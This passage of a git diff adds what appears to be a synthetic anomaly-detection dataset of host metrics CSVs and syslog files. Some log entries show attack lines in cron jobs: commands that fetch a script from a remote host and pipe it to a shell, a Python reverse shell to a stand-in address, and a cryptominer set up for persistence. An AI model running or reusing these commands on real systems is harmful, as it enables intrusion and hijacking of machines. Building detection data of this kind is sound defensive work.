+2025-08-17T17:02:00Z,10.69,43.81,23.55,0.88,0.85 +2025-08-17T17:02:05Z,16.37,44.34,29.87,0.8,1.24 +2025-08-17T17:02:10Z,18.61,37.13,17.04,1.17,1.67 +2025-08-17T17:02:15Z,12.14,44.3,16.96,1.46,1.35 +2025-08-17T17:02:20Z,16.27,38.86,15.51,1.34,1.26 +2025-08-17T17:02:25Z,10.76,43.17,26.38,0.59,1.64 +2025-08-17T17:02:30Z,21.76,42.28,14.18,0.66,2.94 +2025-08-17T17:02:35Z,22.53,38.48,6.21,0.54,3.29 +2025-08-17T17:02:40Z,23.46,40.49,10.45,0.59,4.18 +2025-08-17T17:02:45Z,28.64,43.27,5.98,0.74,2.6 +2025-08-17T17:02:50Z,30.04,45.88,13.32,0.77,3.28 +2025-08-17T17:02:55Z,32.04,45.24,7.81,0.57,3.4 +2025-08-17T17:03:00Z,36.08,41.9,11.74,0.66,3.47 +2025-08-17T17:03:05Z,36.44,39.87,14.74,0.38,3.42 +2025-08-17T17:03:10Z,41.87,37.25,8.34,0.41,3.28 +2025-08-17T17:03:15Z,41.51,44.18,12.78,0.21,4.0 +2025-08-17T17:03:20Z,44.01,41.46,7.99,0.72,3.11 +2025-08-17T17:03:25Z,48.04,42.15,14.67,0.28,3.56 +2025-08-17T17:03:30Z,51.57,40.82,9.95,0.2,3.83 +2025-08-17T17:03:35Z,51.86,44.94,13.52,0.47,3.02 +2025-08-17T17:03:40Z,57.36,39.36,11.3,0.55,3.02 +2025-08-17T17:03:45Z,57.8,37.76,12.0,0.77,3.72 +2025-08-17T17:03:50Z,60.82,45.95,5.87,0.32,3.05 +2025-08-17T17:03:55Z,62.34,45.61,12.87,0.75,3.05 +2025-08-17T17:04:00Z,65.33,43.26,12.05,0.26,3.49 +2025-08-17T17:04:05Z,70.95,44.87,11.02,0.4,2.55 +2025-08-17T17:04:10Z,70.96,41.64,6.02,0.51,3.04 +2025-08-17T17:04:15Z,73.88,39.47,10.9,0.66,3.43 +2025-08-17T17:04:20Z,78.73,47.82,6.44,0.22,3.05 +2025-08-17T17:04:25Z,79.98,40.32,11.93,0.4,2.59 +2025-08-17T17:04:30Z,83.22,40.41,12.24,0.67,3.85 +2025-08-17T17:04:35Z,85.17,39.92,14.79,0.39,3.0 +2025-08-17T17:04:40Z,88.72,44.5,5.19,0.63,3.4 +2025-08-17T17:04:45Z,88.69,43.95,7.83,0.25,4.01 +2025-08-17T17:04:50Z,93.78,41.19,7.2,0.23,3.51 +2025-08-17T17:04:55Z,93.27,39.1,5.2,0.32,2.94 +2025-08-17T17:05:00Z,96.99,40.38,10.86,0.43,3.83 +2025-08-17T17:05:05Z,96.76,44.79,14.26,0.51,4.2 +2025-08-17T17:05:10Z,95.05,42.29,14.6,0.48,3.05 +2025-08-17T17:05:15Z,98.29,39.02,9.75,0.33,2.75 +2025-08-17T17:05:20Z,98.13,45.55,11.26,0.27,2.79 +2025-08-17T17:05:25Z,97.31,42.58,7.74,0.33,3.45 +2025-08-17T17:05:30Z,95.67,47.79,11.49,0.24,3.87 +2025-08-17T17:05:35Z,95.81,45.06,8.03,0.65,4.36 +2025-08-17T17:05:40Z,98.33,41.43,14.47,0.66,4.22 +2025-08-17T17:05:45Z,97.99,38.96,12.65,0.46,2.63 +2025-08-17T17:05:50Z,96.4,43.09,8.29,0.72,4.41 +2025-08-17T17:05:55Z,95.19,43.06,10.63,0.79,3.71 +2025-08-17T17:06:00Z,98.79,40.87,7.88,0.46,3.36 +2025-08-17T17:06:05Z,96.49,48.16,10.92,0.56,4.3 +2025-08-17T17:06:10Z,98.15,40.81,10.9,0.32,3.44 +2025-08-17T17:06:15Z,98.4,46.2,14.54,0.38,4.31 +2025-08-17T17:06:20Z,99.1,40.9,13.32,0.65,3.62 +2025-08-17T17:06:25Z,96.4,40.32,9.54,0.48,4.36 +2025-08-17T17:06:30Z,99.75,45.58,11.32,0.63,3.67 +2025-08-17T17:06:35Z,98.79,48.9,13.17,0.7,2.98 +2025-08-17T17:06:40Z,99.15,45.62,11.3,0.39,4.06 +2025-08-17T17:06:45Z,95.53,42.06,5.96,0.64,2.81 +2025-08-17T17:06:50Z,97.75,47.9,8.63,0.75,3.72 +2025-08-17T17:06:55Z,95.28,49.65,9.53,0.48,2.51 +2025-08-17T17:07:00Z,96.71,40.24,10.58,0.51,3.4 +2025-08-17T17:07:05Z,99.78,48.57,14.98,0.45,3.93 +2025-08-17T17:07:10Z,99.35,47.78,11.78,0.42,4.07 +2025-08-17T17:07:15Z,96.0,41.95,10.37,0.28,4.4 +2025-08-17T17:07:20Z,97.66,44.02,14.14,0.63,4.23 +2025-08-17T17:07:25Z,99.85,45.33,12.27,0.53,2.63 diff --git a/mali_dataset/scenario_1/mali_1_7.log b/mali_dataset/scenario_1/mali_1_7.log new file mode 100644 index 0000000000000000000000000000000000000000..ca68dc32b2e159b0d4c0360e425b18d0f878a326 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_7.log @@ -0,0 +1,9 @@ +Aug 17 17:00:10 systemd[1]: Started session for user monitoring. +Aug 17 17:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 17:02:10 CRON[23141]: (admin) CMD ((curl -fsSL https://pastebin.com/raw/aBcDeF12 || wget -qO- https://pastebin.com/raw/aBcDeF12)|sh) +Aug 17 17:02:45 systemd[1]: Starting bioset.service... +Aug 17 17:03:00 systemd[1]: Started bioset.service. +Aug 17 17:03:15 bioset[21345]: Process started with high priority. +Aug 17 17:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 17:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 17:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_8.csv b/mali_dataset/scenario_1/mali_1_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c5f79936e7381f83e66c66a0076b572deb92d69 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-17T20:00:00Z,18.9,35.39,17.36,1.32,1.1 +2025-08-17T20:00:05Z,18.08,36.46,29.91,0.76,1.33 +2025-08-17T20:00:10Z,14.11,38.37,23.28,1.28,1.28 +2025-08-17T20:00:15Z,14.07,40.25,27.66,1.37,1.25 +2025-08-17T20:00:20Z,18.31,42.14,20.15,1.43,1.06 +2025-08-17T20:00:25Z,17.37,44.42,15.43,0.86,1.23 +2025-08-17T20:00:30Z,13.61,35.76,17.79,1.09,1.04 +2025-08-17T20:00:35Z,13.36,35.89,24.77,0.9,1.18 +2025-08-17T20:00:40Z,14.84,40.0,21.75,0.89,1.07 +2025-08-17T20:00:45Z,11.06,40.01,25.11,0.73,1.14 +2025-08-17T20:00:50Z,12.68,36.97,29.91,1.04,1.19 +2025-08-17T20:00:55Z,11.04,37.11,15.24,1.25,1.46 +2025-08-17T20:01:00Z,13.6,36.82,22.75,1.4,1.14 +2025-08-17T20:01:05Z,14.83,39.17,27.29,0.67,1.61 +2025-08-17T20:01:10Z,11.17,44.58,28.47,1.32,1.15 +2025-08-17T20:01:15Z,18.05,36.21,28.21,0.86,1.61 +2025-08-17T20:01:20Z,15.77,44.46,17.95,0.85,0.96 +2025-08-17T20:01:25Z,18.54,38.57,26.98,0.66,1.21 +2025-08-17T20:01:30Z,11.76,41.59,28.13,1.19,1.69 +2025-08-17T20:01:35Z,14.72,44.52,29.01,1.42,1.39 +2025-08-17T20:01:40Z,12.91,44.15,22.34,1.04,1.8 +2025-08-17T20:01:45Z,14.63,36.82,22.0,0.91,1.19 +2025-08-17T20:01:50Z,11.14,39.32,18.23,0.52,1.02 +2025-08-17T20:01:55Z,14.81,41.02,15.14,1.38,1.57 +2025-08-17T20:02:00Z,11.19,38.44,17.84,0.58,1.36 +2025-08-17T20:02:05Z,11.36,46.26,20.63,1.47,1.2 +2025-08-17T20:02:10Z,19.4,36.87,18.58,0.72,1.71 +2025-08-17T20:02:15Z,13.23,41.68,24.47,0.87,1.55 +2025-08-17T20:02:20Z,10.55,40.07,20.44,1.31,0.85 +2025-08-17T20:02:25Z,17.56,41.69,25.33,1.4,1.4 +2025-08-17T20:02:30Z,20.66,41.65,14.72,0.62,4.35 +2025-08-17T20:02:35Z,21.23,36.76,5.77,0.39,3.37 +2025-08-17T20:02:40Z,24.43,38.8,10.24,0.42,3.38 +2025-08-17T20:02:45Z,28.89,42.78,7.28,0.43,3.85 +2025-08-17T20:02:50Z,30.07,44.79,11.75,0.45,4.34 +2025-08-17T20:02:55Z,33.76,46.3,8.2,0.75,2.69 +2025-08-17T20:03:00Z,36.63,45.94,13.99,0.51,3.51 +2025-08-17T20:03:05Z,37.84,39.55,5.2,0.42,2.95 +2025-08-17T20:03:10Z,39.03,41.42,11.47,0.66,3.6 +2025-08-17T20:03:15Z,41.66,41.8,6.13,0.58,2.61 +2025-08-17T20:03:20Z,45.3,44.12,9.64,0.45,2.58 +2025-08-17T20:03:25Z,48.63,41.34,6.79,0.57,4.42 +2025-08-17T20:03:30Z,50.73,38.56,13.24,0.78,3.53 +2025-08-17T20:03:35Z,53.64,47.17,13.29,0.32,3.9 +2025-08-17T20:03:40Z,57.29,44.56,11.67,0.6,4.46 +2025-08-17T20:03:45Z,60.07,46.8,9.62,0.29,3.26 +2025-08-17T20:03:50Z,60.1,42.51,8.29,0.68,3.87 +2025-08-17T20:03:55Z,63.88,38.95,12.52,0.55,3.48 +2025-08-17T20:04:00Z,65.48,41.81,11.03,0.53,3.28 +2025-08-17T20:04:05Z,70.48,40.29,9.05,0.46,2.94 +2025-08-17T20:04:10Z,69.89,38.55,6.86,0.77,4.3 +2025-08-17T20:04:15Z,74.95,47.31,10.52,0.69,3.18 +2025-08-17T20:04:20Z,75.49,42.12,14.48,0.44,3.6 +2025-08-17T20:04:25Z,78.62,47.84,11.98,0.4,3.14 +2025-08-17T20:04:30Z,83.74,43.75,12.15,0.77,2.95 +2025-08-17T20:04:35Z,86.18,46.46,12.35,0.69,3.44 +2025-08-17T20:04:40Z,85.81,42.12,5.73,0.42,3.26 +2025-08-17T20:04:45Z,89.27,40.71,5.17,0.5,3.58 +2025-08-17T20:04:50Z,92.41,42.69,6.84,0.26,3.52 +2025-08-17T20:04:55Z,93.72,46.54,12.93,0.55,4.33 +2025-08-17T20:05:00Z,95.67,46.59,14.82,0.68,3.01 +2025-08-17T20:05:05Z,99.06,47.74,14.05,0.46,2.5 +2025-08-17T20:05:10Z,95.33,42.08,12.69,0.52,3.07 +2025-08-17T20:05:15Z,99.21,44.23,14.19,0.63,3.73 +2025-08-17T20:05:20Z,98.54,45.79,6.38,0.43,2.89 +2025-08-17T20:05:25Z,98.14,38.71,6.26,0.69,3.32 +2025-08-17T20:05:30Z,98.2,47.62,5.09,0.77,4.25 +2025-08-17T20:05:35Z,99.49,45.0,13.16,0.33,3.58 +2025-08-17T20:05:40Z,98.7,43.39,9.56,0.59,4.2 +2025-08-17T20:05:45Z,99.85,48.35,9.53,0.2,2.97 +2025-08-17T20:05:50Z,97.67,44.05,9.74,0.21,3.0 +2025-08-17T20:05:55Z,97.67,41.64,8.12,0.43,3.74 +2025-08-17T20:06:00Z,96.63,48.7,9.89,0.28,2.99 +2025-08-17T20:06:05Z,97.81,45.44,5.12,0.76,2.81 +2025-08-17T20:06:10Z,98.37,44.23,8.57,0.43,3.7 +2025-08-17T20:06:15Z,97.14,46.66,11.06,0.48,3.8 +2025-08-17T20:06:20Z,99.96,43.71,8.77,0.64,3.97 +2025-08-17T20:06:25Z,98.22,46.4,12.06,0.57,3.48 +2025-08-17T20:06:30Z,95.89,46.98,10.09,0.52,4.04 +2025-08-17T20:06:35Z,96.88,41.59,9.31,0.58,3.04 +2025-08-17T20:06:40Z,96.93,47.7,10.43,0.32,2.72 +2025-08-17T20:06:45Z,95.34,46.76,9.93,0.5,3.98 +2025-08-17T20:06:50Z,98.58,43.43,7.83,0.28,2.65 +2025-08-17T20:06:55Z,98.07,42.86,8.82,0.61,3.0 +2025-08-17T20:07:00Z,99.7,46.41,12.25,0.3,2.97 +2025-08-17T20:07:05Z,99.24,44.8,10.0,0.62,2.93 +2025-08-17T20:07:10Z,96.81,48.13,9.01,0.32,2.51 +2025-08-17T20:07:15Z,95.59,48.97,9.41,0.34,2.51 +2025-08-17T20:07:20Z,95.7,41.94,11.33,0.6,3.81 +2025-08-17T20:07:25Z,97.08,40.31,10.29,0.31,3.02 diff --git a/mali_dataset/scenario_1/mali_1_8.log b/mali_dataset/scenario_1/mali_1_8.log new file mode 100644 index 0000000000000000000000000000000000000000..3b52ebb55ebf4160159cf7df52f60ccdabe9c44f --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_8.log @@ -0,0 +1,9 @@ +Aug 17 20:00:10 systemd[1]: Started session for user monitoring. +Aug 17 20:00:25 sshd[13579]: Accepted publickey for admin from 10.0.3.8 port 64321 ssh2 +Aug 17 20:02:10 CRON[19876]: (root) CMD (/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);') +Aug 17 20:02:45 systemd[1]: Starting systemd-resolve.service... +Aug 17 20:03:00 systemd[1]: Started systemd-resolve.service. +Aug 17 20:03:15 systemd-resolve[21345]: Process started with high priority. +Aug 17 20:04:10 kubelet[1234]: INFO routine sync completed for pod some-app +Aug 17 20:05:40 systemd[1]: session-6.scope: Succeeded. +Aug 17 20:07:05 kubelet[1234]: INFO routine sync completed for pod some-app diff --git a/mali_dataset/scenario_1/mali_1_9.csv b/mali_dataset/scenario_1/mali_1_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..a210cf8a318bb8c584555735adc819a7df0ad72b --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_9.csv @@ -0,0 +1,79 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T14:00:00Z,23.81,45.12,18.52,1.33,1.51 +2025-08-16T14:00:05Z,20.45,44.89,21.03,0.88,1.24 +2025-08-16T14:00:10Z,25.11,45.33,15.78,1.01,1.88 +2025-08-16T14:00:15Z,22.76,45.21,19.34,0.95,1.43 +2025-08-16T14:00:20Z,19.98,44.95,22.67,1.21,1.17 +2025-08-16T14:00:25Z,24.32,45.41,17.88,0.76,1.79 +2025-08-16T14:00:30Z,21.5,45.05,20.11,1.45,1.35 +2025-08-16T14:00:35Z,23.99,45.28,16.54,0.83,1.66 +2025-08-16T14:00:40Z,20.14,44.99,23.01,1.1,1.09 +2025-08-16T14:00:45Z,18.88,44.81,19.89,0.99,1.54 +2025-08-16T14:00:50Z,22.43,45.17,18.23,1.28,1.72 +2025-08-16T14:00:55Z,24.01,45.3,15.99,0.71,1.91 +2025-08-16T14:01:00Z,20.57,45.08,21.45,1.39,1.28 +2025-08-16T14:01:05Z,19.23,44.88,20.76,0.91,1.48 +2025-08-16T14:01:10Z,23.65,45.25,17.43,1.15,1.83 +2025-08-16T14:01:15Z,21.89,45.11,19.67,1.03,1.39 +2025-08-16T14:01:20Z,20.01,44.96,22.88,1.48,1.15 +2025-08-16T14:01:25Z,24.55,45.38,16.21,0.8,1.75 +2025-08-16T14:01:30Z,22.78,45.19,18.99,0.97,1.6 +2025-08-16T14:01:35Z,19.54,44.91,21.12,1.25,1.22 +2025-08-16T14:01:40Z,23.88,45.29,17.76,1.08,1.87 +2025-08-16T14:01:45Z,21.03,45.02,20.34,1.33,1.31 +2025-08-16T14:01:50Z,20.19,44.97,23.41,0.85,1.11 +2025-08-16T14:01:55Z,24.98,45.45,15.55,1.18,1.94 +2025-08-16T14:02:00Z,22.11,45.15,19.21,0.94,1.57 +2025-08-16T14:02:05Z,25.34,45.5,18.01,0.75,1.8 +2025-08-16T14:02:10Z,28.91,45.82,8.12,1.22,2.61 +2025-08-16T14:02:15Z,34.78,45.99,7.43,1.1,2.88 +2025-08-16T14:02:20Z,40.15,46.15,6.89,1.31,2.54 +2025-08-16T14:02:25Z,45.62,46.31,7.01,1.05,2.95 +2025-08-16T14:02:30Z,51.88,46.45,6.55,1.42,2.71 +2025-08-16T14:02:35Z,57.23,46.6,6.98,0.99,3.01 +2025-08-16T14:02:40Z,63.94,46.78,7.22,1.28,2.83 +2025-08-16T14:02:45Z,69.11,46.91,6.47,1.15,3.12 +2025-08-16T14:02:50Z,74.87,47.05,7.31,1.38,2.78 +2025-08-16T14:02:55Z,80.03,47.22,6.81,1.02,3.24 +2025-08-16T14:03:00Z,85.69,47.38,6.24,1.45,2.91 +2025-08-16T14:03:05Z,90.21,47.51,7.1,0.95,3.33 +2025-08-16T14:03:10Z,94.77,47.66,6.65,1.21,3.05 +2025-08-16T14:03:15Z,96.82,47.8,6.93,1.11,3.41 +2025-08-16T14:03:20Z,97.53,47.88,7.05,1.33,3.18 +2025-08-16T14:03:25Z,98.19,47.95,6.58,1.07,3.52 +2025-08-16T14:03:30Z,99.01,48.01,6.42,1.4,3.27 +2025-08-16T14:03:35Z,99.24,48.06,7.18,0.98,3.61 +2025-08-16T14:03:40Z,98.88,48.03,6.76,1.25,3.34 +2025-08-16T14:03:45Z,99.51,48.1,6.89,1.14,3.68 +2025-08-16T14:03:50Z,99.12,48.07,7.01,1.37,3.42 +2025-08-16T14:03:55Z,99.67,48.14,6.51,1.04,3.75 +2025-08-16T14:04:00Z,99.31,48.09,6.63,1.44,3.5 +2025-08-16T14:04:05Z,98.99,48.05,7.24,0.96,3.82 +2025-08-16T14:04:10Z,99.58,48.12,6.71,1.29,3.58 +2025-08-16T14:04:15Z,99.07,48.06,6.98,1.1,3.88 +2025-08-16T14:04:20Z,99.74,48.16,7.13,1.32,3.63 +2025-08-16T14:04:25Z,99.42,48.11,6.66,1.06,3.94 +2025-08-16T14:04:30Z,99.81,48.18,6.55,1.41,3.69 +2025-08-16T14:04:35Z,99.2,48.08,7.19,0.99,4.01 +2025-08-16T14:04:40Z,99.65,48.14,6.82,1.27,3.75 +2025-08-16T14:04:45Z,99.33,48.1,6.91,1.13,4.07 +2025-08-16T14:04:50Z,99.89,48.19,7.04,1.36,3.81 +2025-08-16T14:04:55Z,99.51,48.12,6.6,1.05,4.13 +2025-08-16T14:05:00Z,99.78,48.17,6.72,1.43,3.88 +2025-08-16T14:05:05Z,99.25,48.09,7.28,0.97,4.19 +2025-08-16T14:05:10Z,99.69,48.15,6.77,1.3,3.95 +2025-08-16T14:05:15Z,99.4,48.11,7.0,1.11,4.25 +2025-08-16T14:05:20Z,99.85,48.19,7.15,1.34,4.0 +2025-08-16T14:05:25Z,99.48,48.12,6.68,1.08,4.31 +2025-08-16T14:05:30Z,99.9,48.2,6.58,1.4,4.06 +2025-08-16T14:05:35Z,99.29,48.09,7.21,1.0,4.37 +2025-08-16T14:05:40Z,99.72,48.16,6.85,1.28,4.11 +2025-08-16T14:05:45Z,99.38,48.1,6.94,1.14,4.43 +2025-08-16T14:05:50Z,99.82,48.18,7.07,1.35,4.17 +2025-08-16T14:05:55Z,99.55,48.13,6.62,1.06,4.49 +2025-08-16T14:06:00Z,99.71,48.15,6.75,1.42,4.23 +2025-08-16T14:06:05Z,99.3,48.1,7.3,0.98,4.55 +2025-08-16T14:06:10Z,99.68,48.14,6.79,1.31,4.29 +2025-08-16T14:06:15Z,99.45,48.11,7.03,1.12,4.61 +2025-08-16T14:06:20Z,99.87,48.2,7.18,1.33,4.35 +2025-08-16T14:06:25Z,99.52,48.12,6.7,1.09,4.67 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_9.log b/mali_dataset/scenario_1/mali_1_9.log new file mode 100644 index 0000000000000000000000000000000000000000..eaff003bb2a805e39417c779b1d4cf0d6c50407c --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_9.log @@ -0,0 +1,21 @@ +Aug 16 14:00:02 systemd[1]: Starting Daily apt upgrade and clean activities... +Aug 16 14:00:10 sshd[2108]: Accepted password for user admin from 192.168.1.10 port 49152 ssh2 +Aug 16 14:00:11 systemd[1]: Started Session 12 of user admin. +Aug 16 14:00:35 CRON[2135]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 16 14:01:05 nginx[1120]: 10.0.2.2 - - [16/Aug/2025:14:01:05 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check" +Aug 16 14:01:28 kubelet[987]: INFO: Successfully probed container readiness for pod default/api-gateway-xyz +Aug 16 14:02:05 CRON[2198]: (admin) CMD (curl -s -L http://very-suspicious-files.com/payload.sh | bash) +Aug 16 14:02:10 bash[2201]: payload.sh: Starting download of required assets... +Aug 16 14:02:15 bash[2201]: payload.sh: Assets downloaded successfully. +Aug 16 14:02:20 bash[2201]: payload.sh: Configuring persistence mechanism. +Aug 16 14:02:25 bash[2201]: payload.sh: Creating systemd service file at /etc/systemd/system/sys-updater.service. +Aug 16 14:02:30 systemd[1]: Reloading. +Aug 16 14:02:35 systemd[1]: Enabled unit file sys-updater.service. +Aug 16 14:02:40 systemd[1]: Started System Updater Service. +Aug 16 14:02:41 sys-updater[2255]: Service initialized. Starting main process. +Aug 16 14:02:42 sys-updater[2255]: Connecting to mining pool at stratum+tcp://pool.example.com:4444 +Aug 16 14:02:45 sys-updater[2255]: Connection successful. Mining threads started. +Aug 16 14:03:15 systemd[1]: user-1000.slice: Succeeded. +Aug 16 14:04:00 CRON[2310]: (root) CMD (cd / && run-parts --report /etc/cron.hourly) +Aug 16 14:05:05 nginx[1120]: 10.0.2.2 - - [16/Aug/2025:14:05:05 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check" +Aug 16 14:06:18 kubelet[987]: INFO: Container GC completed for pod default/worker-job-abc \ No newline at end of file diff --git a/mali_dataset/scenario_10/mali_10_1.csv b/mali_dataset/scenario_10/mali_10_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..90840a686ff9cf1e665d2cbac684ccf0de966e07 --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-05T12:00:00Z,18.55,55.33,88.12,1.11,1.75 +2025-09-05T12:00:05Z,19.12,55.41,92.54,0.95,1.62 +2025-09-05T12:00:10Z,21.34,55.29,105.87,1.03,1.71 +2025-09-05T12:00:15Z,17.98,55.35,85.32,1.15,1.82 +2025-09-05T12:00:20Z,20.05,55.45,99.91,0.99,1.66 +2025-09-05T12:00:25Z,18.21,55.38,89.43,1.13,1.79 +2025-09-05T12:00:30Z,22.88,55.25,110.12,0.92,1.58 +2025-09-05T12:00:35Z,19.54,55.42,95.67,1.08,1.74 +2025-09-05T12:00:40Z,17.65,55.31,83.11,1.18,1.85 +2025-09-05T12:00:45Z,21.19,55.48,103.43,1.01,1.69 +2025-09-05T12:00:50Z,23.11,55.22,115.34,0.89,1.55 +2025-09-05T12:00:55Z,18.99,55.39,91.88,1.10,1.77 +2025-09-05T12:01:00Z,20.32,55.43,101.21,1.05,1.72 +2025-09-05T12:01:05Z,19.87,55.37,97.54,1.07,1.73 +2025-09-05T12:01:10Z,22.45,55.28,108.98,0.94,1.61 +2025-09-05T12:01:15Z,18.15,55.34,87.65,1.14,1.81 +2025-09-05T12:01:20Z,20.87,55.46,102.76,1.02,1.70 +2025-09-05T12:01:25Z,17.88,55.32,84.99,1.17,1.84 +2025-09-05T12:01:30Z,23.54,55.21,118.43,0.88,1.53 +2025-09-05T12:01:35Z,19.23,55.40,93.21,1.09,1.76 +2025-09-05T12:01:40Z,21.76,55.27,106.54,0.96,1.63 +2025-09-05T12:01:45Z,18.43,55.36,88.89,1.12,1.78 +2025-09-05T12:01:50Z,20.55,55.44,100.32,1.04,1.71 +2025-09-05T12:01:55Z,22.99,55.23,112.78,0.91,1.57 +2025-09-05T12:02:00Z,19.65,55.39,96.34,1.06,1.73 +2025-09-05T12:02:05Z,18.01,55.33,86.21,1.16,1.83 +2025-09-05T12:02:10Z,21.54,55.47,104.98,1.00,1.68 +2025-09-05T12:02:15Z,23.88,55.20,120.12,0.87,1.51 +2025-09-05T12:02:20Z,19.11,55.38,92.65,1.11,1.78 +2025-09-05T12:02:25Z,20.76,55.42,101.87,1.05,1.72 +2025-09-05T12:02:30Z,18.32,55.35,88.11,1.13,1.80 +2025-09-05T12:02:35Z,22.65,55.26,109.54,0.93,1.60 +2025-09-05T12:02:40Z,92.45,55.65,3845.12,1.15,1.82 +2025-09-05T12:02:45Z,25.12,55.51,210.34,1.01,1.69 +2025-09-05T12:02:50Z,19.87,55.43,98.76,1.08,1.74 +2025-09-05T12:02:55Z,21.34,55.39,104.54,1.03,1.71 +2025-09-05T12:03:00Z,18.98,55.48,91.23,1.12,1.79 +2025-09-05T12:03:05Z,20.54,55.41,100.87,1.06,1.73 +2025-09-05T12:03:10Z,22.76,55.34,111.43,0.95,1.62 +2025-09-05T12:03:15Z,18.23,55.45,87.89,1.14,1.81 +2025-09-05T12:03:20Z,21.11,55.38,103.21,1.02,1.70 +2025-09-05T12:03:25Z,19.43,55.47,94.65,1.09,1.76 +2025-09-05T12:03:30Z,23.01,55.32,114.78,0.90,1.56 +2025-09-05T12:03:35Z,18.76,55.43,90.32,1.13,1.80 +2025-09-05T12:03:40Z,20.88,55.40,102.43,1.04,1.71 +2025-09-05T12:03:45Z,22.43,55.36,108.87,0.97,1.64 +2025-09-05T12:03:50Z,18.05,55.46,86.54,1.15,1.82 +2025-09-05T12:03:55Z,21.65,55.37,105.98,0.99,1.67 +2025-09-05T12:04:00Z,19.99,55.44,98.12,1.07,1.74 +2025-09-05T12:04:05Z,23.32,55.31,116.54,0.89,1.54 +2025-09-05T12:04:10Z,18.54,55.42,89.76,1.12,1.79 +2025-09-05T12:04:15Z,20.67,55.39,101.43,1.05,1.72 +2025-09-05T12:04:20Z,22.87,55.35,110.98,0.94,1.61 +2025-09-05T12:04:25Z,18.11,55.48,87.12,1.14,1.81 +2025-09-05T12:04:30Z,21.43,55.38,104.32,1.01,1.69 +2025-09-05T12:04:35Z,19.76,55.45,96.87,1.08,1.75 +2025-09-05T12:04:40Z,23.65,55.30,119.32,0.88,1.52 +2025-09-05T12:04:45Z,18.88,55.41,91.54,1.11,1.78 +2025-09-05T12:04:50Z,20.98,55.39,102.87,1.03,1.71 +2025-09-05T12:04:55Z,22.12,55.37,107.54,0.96,1.63 +2025-09-05T12:05:00Z,18.34,55.47,88.43,1.13,1.80 +2025-09-05T12:05:05Z,21.87,55.36,106.32,0.98,1.66 +2025-09-05T12:05:10Z,19.55,55.44,95.76,1.09,1.76 +2025-09-05T12:05:15Z,23.11,55.33,113.87,0.91,1.57 +2025-09-05T12:05:20Z,18.67,55.42,90.11,1.12,1.79 +2025-09-05T12:05:25Z,20.78,55.40,101.98,1.04,1.72 +2025-09-05T12:05:30Z,22.98,55.35,112.34,0.93,1.60 +2025-09-05T12:05:35Z,18.21,55.46,87.65,1.15,1.82 +2025-09-05T12:05:40Z,21.55,55.37,105.43,1.00,1.68 +2025-09-05T12:05:45Z,19.89,55.45,97.32,1.07,1.74 +2025-09-05T12:05:50Z,23.43,55.32,117.87,0.89,1.54 +2025-09-05T12:05:55Z,18.45,55.43,89.21,1.13,1.80 +2025-09-05T12:06:00Z,20.99,55.41,102.65,1.05,1.72 +2025-09-05T12:06:05Z,22.67,55.36,109.87,0.95,1.62 +2025-09-05T12:06:10Z,18.03,55.47,86.88,1.14,1.81 +2025-09-05T12:06:15Z,21.78,55.38,106.11,0.99,1.67 +2025-09-05T12:06:20Z,19.67,55.44,96.12,1.08,1.75 +2025-09-05T12:06:25Z,23.21,55.34,115.43,0.90,1.55 +2025-09-05T12:06:30Z,18.78,55.42,90.87,1.11,1.78 +2025-09-05T12:06:35Z,20.89,55.40,102.21,1.04,1.71 +2025-09-05T12:06:40Z,22.54,55.35,108.32,0.96,1.63 +2025-09-05T12:06:45Z,18.17,55.46,87.34,1.15,1.82 +2025-09-05T12:06:50Z,21.98,55.37,106.76,0.98,1.66 +2.025-09-05T12:06:55Z,19.45,55.45,95.43,1.09,1.76 +2025-09-05T12:07:00Z,23.54,55.33,118.98,0.88,1.53 +2025-09-05T12:07:05Z,18.59,55.43,89.99,1.12,1.79 +2025-09-05T12:07:10Z,20.76,55.41,101.76,1.05,1.72 +2025-09-05T12:07:15Z,22.89,55.36,111.65,0.94,1.61 +2025-09-05T12:07:20Z,18.23,55.47,87.98,1.14,1.81 +2025-09-05T12:07:25Z,21.67,55.38,105.87,1.00,1.68 \ No newline at end of file diff --git a/mali_dataset/scenario_10/mali_10_1.log b/mali_dataset/scenario_10/mali_10_1.log new file mode 100644 index 0000000000000000000000000000000000000000..8cc30162a3ccf69ee63c8de8f954e1095852c7de --- /dev/null +++ b/mali_dataset/scenario_10/mali_10_1.log @@ -0,0 +1,16 @@ +Sep 05 12:00:10 mailserver sshd[4521]: Failed password for invalid user visitor from 203.0.113.55 port 48122 ssh2 +Sep 05 12:00:25 mailserver CRON[4530]: (root) CMD ( /usr/lib/i386-linux-gnu/sa/sa1 1 1) +Sep 05 12:00:40 mailserver kernel: [6890.123456] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Sep 05 12:01:05 mailserver systemd[1]: Starting Clean php session files... +Sep 05 12:01:15 mailserver sshd[4588]: Accepted password for root from 198.51.100.12 port 56234 ssh2 +Sep 05 12:01:16 mailserver systemd-logind[987]: New session 5 of user root. +Sep 05 12:01:30 mailserver postfix/smtpd[4599]: connect from unknown[192.0.2.88] +Sep 05 12:01:35 mailserver postfix/smtpd[4599]: lost connection after AUTH from 